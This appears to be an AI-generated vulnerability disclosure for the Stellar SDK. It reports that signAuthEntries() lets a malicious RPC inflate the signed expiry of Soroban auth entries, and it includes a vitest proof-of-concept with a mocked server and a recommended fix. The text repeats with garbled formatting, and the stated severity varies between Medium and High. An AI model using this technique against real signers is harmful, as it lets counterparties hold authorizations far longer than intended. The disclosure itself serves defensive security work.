Security Finding: signAuthEntries() trusts RPC ledger state for default auth expiry
Subsystem: rpc
Severity: Medium
Model Attribution: claude-sonnet-4.6, default
Impact
A malicious RPC can stretch a supposedly short-lived delegated Soroban authorization into a much longer-lived one-time capability than the signer intended.
Root Cause
contract.AssembledTransaction.signAuthEntries() defaults expiration to
(await this.server.getLatestLedger()).sequence + 100, then passes that value
straight into authorizeEntry(...).
That means unsigned RPC ledger state is not just read or displayed: it is
embedded into the signed signatureExpirationLedger field of the auth-entry
preimage. The SDK therefore lets the configured RPC choose the default lifetime
of a non-invoker signature.
Attack Vector
In the documented multi-party signing flow, a non-invoker signer deserializes an
AssembledTransaction on their own machine and calls signAuthEntries().
If that signing environment uses a compromised RPC server, or an HTTP RPC that
can be modified in transit, getLatestLedger() can report an inflated sequence
such as 4_000_000_000. The signer then produces an auth entry whose
signatureExpirationLedger is also near that far-future value, even though the
SDK documents the default as "about 8.3 minutes from now."
The resulting auth entry is still bound to the specific invocation and nonce, so
this is not arbitrary auth injection. The security issue is that the counterparty
can hold and submit that one authorized invocation far later than the signer was
led to expect.
PoC Summary
The PoC constructs an AssembledTransaction containing an unsigned non-invoker
Soroban auth entry for Bob, injects a mocked RPC Server, and calls
signAuthEntries() without an explicit expiration.
When the mocked RPC reports sequence: 4_000_000_000, the signed auth entry's
signatureExpirationLedger becomes 4_000_000_100. With a legitimate server
reporting 1_000_000, the same path yields 1_000_100. This shows the SDK is
signing an RPC-chosen expiry rather than a locally bounded default.
PoC Code
// PoC: Auth expiration derived from untrusted RPC getLatestLedger()
// Hypothesis: H049 - signAuthEntries() trusts RPC ledger sequence for auth expiry
// Severity: High
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
import { StellarSdk } from "../test-utils/stellar-sdk-import";
const {
Account,
Keypair,
Operation,
TransactionBuilder,
TimeoutInfinite,
contract,
SorobanDataBuilder,
xdr,
Address,
Networks,
} = StellarSdk;
const { Server } = StellarSdk.rpc;
describe("Security PoC - H049: Auth expiration trusts RPC ledger", () => {
const contractId = "CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD2KM";
const networkPassphrase = "Standalone Network ; February 2017";
const aliceKeypair = Keypair.random();
const bobKeypair = Keypair.random();
function buildTxWithUnsignedAuth() {
const source = new Account(aliceKeypair.publicKey(), "100");
const unsignedAuthEntry = new xdr.SorobanAuthorizationEntry({
credentials: xdr.SorobanCredentials.sorobanCredentialsAddress(
new xdr.SorobanAddressCredentials({
address: Address.fromString(bobKeypair.publicKey()).toScAddress(),
nonce: new xdr.Int64(12345),
signatureExpirationLedger: 0,
signature: xdr.ScVal.scvVoid(), // unsigned
}),
),
rootInvocation: new xdr.SorobanAuthorizedInvocation({
subInvocations: [],
function:
xdr.SorobanAuthorizedFunction.sorobanAuthorizedFunctionTypeContractFn(
new xdr.InvokeContractArgs({
contractAddress: Address.fromString(contractId).toScAddress(),
functionName: "transfer",
args: [],
}),
),
}),
});
const tx = new TransactionBuilder(source, {
fee: "100",
networkPassphrase,
})
.setTimeout(TimeoutInfinite)
.addOperation(
Operation.invokeContractFunction({
contract: contractId,
function: "transfer",
args: [],
auth: [unsignedAuthEntry],
}),
)
.build();
return { tx, unsignedAuthEntry };
}
function createAssembledTx(tx: any, unsignedAuthEntry: any, server: any) {
const simulationResult = {
auth: [unsignedAuthEntry.toXDR("base64")],
retval: xdr.ScVal.scvVoid().toXDR("base64"),
};
const simulationTransactionData = new SorobanDataBuilder()
.build()
.toXDR("base64");
const bobWallet = contract.basicNodeSigner(bobKeypair, networkPassphrase);
return contract.AssembledTransaction.fromJSON(
{
contractId,
networkPassphrase,
rpcUrl: "https://rpc.example.com",
method: "transfer",
publicKey: bobKeypair.publicKey(),
...bobWallet,
parseResultXdr: (result: any) => result,
server,
},
{
tx: tx.toEnvelope().toXDR("base64"),
simulationResult,
simulationTransactionData,
},
);
}
it("should demonstrate that a malicious RPC can set auth expiration far into the future", async () => {
const { tx, unsignedAuthEntry } = buildTxWithUnsignedAuth();
const MALICIOUS_LEDGER_SEQUENCE = 4_000_000_000;
const maliciousServer = new Server("https://rpc.example.com", { allowHttp: true });
vi.spyOn(maliciousServer, "getLatestLedger").mockResolvedValue({
id: "fake",
sequence: MALICIOUS_LEDGER_SEQUENCE,
protocolVersion: 22,
} as any);
const assembled = createAssembledTx(tx, unsignedAuthEntry, maliciousServer);
await assembled.signAuthEntries();
const signedAuth = (assembled.built! as any).operations[0].auth[0];
const creds = signedAuth.credentials().address();
const signedExpiration = creds.signatureExpirationLedger();
// VULNERABILITY: expiration is attacker-controlled value + 100 (~2000+ years)
expect(signedExpiration).toBe(MALICIOUS_LEDGER_SEQUENCE + 100);
expect(signedExpiration).toBeGreaterThan(1_000_000 * 100);
expect(creds.signature().switch().name).not.toBe("scvVoid");
});
it("should show the contrast with a legitimate RPC server", async () => {
const { tx, unsignedAuthEntry } = buildTxWithUnsignedAuth();
const LEGITIMATE_LEDGER_SEQUENCE = 1_000_000;
const legitimateServer = new Server("https://rpc.example.com", { allowHttp: true });
vi.spyOn(legitimateServer, "getLatestLedger").mockResolvedValue({
id: "real",
sequence: LEGITIMATE_LEDGER_SEQUENCE,
protocolVersion: 22,
} as any);
const assembled = createAssembledTx(tx, unsignedAuthEntry, legitimateServer);
await assembled.signAuthEntries();
const legitimateExpiration = (assembled.built! as any).operations[0].auth[0]
.credentials().address().signatureExpirationLedger();
expect(legitimateExpiration).toBe(LEGITIMATE_LEDGER_SEQUENCE + 100);
expect(legitimateExpiration).toBeLessThan(2_000_000);
// Attacker case side-by-side
const { tx: tx2, unsignedAuthEntry: auth2 } = buildTxWithUnsignedAuth();
const MALICIOUS_LEDGER_SEQUENCE = 4_000_000_000;
const maliciousServer = new Server("https://rpc.example.com", { allowHttp: true });
vi.spyOn(maliciousServer, "getLatestLedger").mockResolvedValue({
id: "fake",
sequence: MALICIOUS_LEDGER_SEQUENCE,
protocolVersion: 22,
} as any);
const assembled2 = createAssembledTx(tx2, auth2, maliciousServer);
await assembled2.signAuthEntries();
const maliciousExpiration = (assembled2.built! as any).operations[0].auth[0]
.credentials().address().signatureExpirationLedger();
const amplificationFactor = maliciousExpiration / legitimateExpiration;
expect(amplificationFactor).toBeGreaterThan(3000);
});
});
Recommendation
Do not derive the default auth-entry expiry from unauthenticated RPC ledger state.
The safest fix is to require callers to pass an explicit expiration when using
signAuthEntries(), or to gate the current behavior behind an opt-in helper that
clearly states the RPC server is choosing the expiry. At minimum, the docs should
stop describing the default as a local "about 8.3 minutes from now" convenience
and instead warn that the value is sourced from getLatestLedger().
This issue was generated by an AI security analysis pipeline.
Security Finding:
signAuthEntries()trusts RPC ledger state for default auth expirySubsystem: rpc
Severity: Medium
Model Attribution: claude-sonnet-4.6, default
Impact
A malicious RPC can stretch a supposedly short-lived delegated Soroban authorization into a much longer-lived one-time capability than the signer intended.
Root Cause
contract.AssembledTransaction.signAuthEntries()defaultsexpirationto(await this.server.getLatestLedger()).sequence + 100, then passes that valuestraight into
authorizeEntry(...).That means unsigned RPC ledger state is not just read or displayed: it is
embedded into the signed
signatureExpirationLedgerfield of the auth-entrypreimage. The SDK therefore lets the configured RPC choose the default lifetime
of a non-invoker signature.
Attack Vector
In the documented multi-party signing flow, a non-invoker signer deserializes an
AssembledTransactionon their own machine and callssignAuthEntries().If that signing environment uses a compromised RPC server, or an HTTP RPC that
can be modified in transit,
getLatestLedger()can report an inflated sequencesuch as
4_000_000_000. The signer then produces an auth entry whosesignatureExpirationLedgeris also near that far-future value, even though theSDK documents the default as "about 8.3 minutes from now."
The resulting auth entry is still bound to the specific invocation and nonce, so
this is not arbitrary auth injection. The security issue is that the counterparty
can hold and submit that one authorized invocation far later than the signer was
led to expect.
PoC Summary
The PoC constructs an
AssembledTransactioncontaining an unsigned non-invokerSoroban auth entry for Bob, injects a mocked RPC
Server, and callssignAuthEntries()without an explicitexpiration.When the mocked RPC reports
sequence: 4_000_000_000, the signed auth entry'ssignatureExpirationLedgerbecomes4_000_000_100. With a legitimate serverreporting
1_000_000, the same path yields1_000_100. This shows the SDK issigning an RPC-chosen expiry rather than a locally bounded default.
PoC Code
Recommendation
Do not derive the default auth-entry expiry from unauthenticated RPC ledger state.
The safest fix is to require callers to pass an explicit
expirationwhen usingsignAuthEntries(), or to gate the current behavior behind an opt-in helper thatclearly states the RPC server is choosing the expiry. At minimum, the docs should
stop describing the default as a local "about 8.3 minutes from now" convenience
and instead warn that the value is sourced from
getLatestLedger().This issue was generated by an AI security analysis pipeline.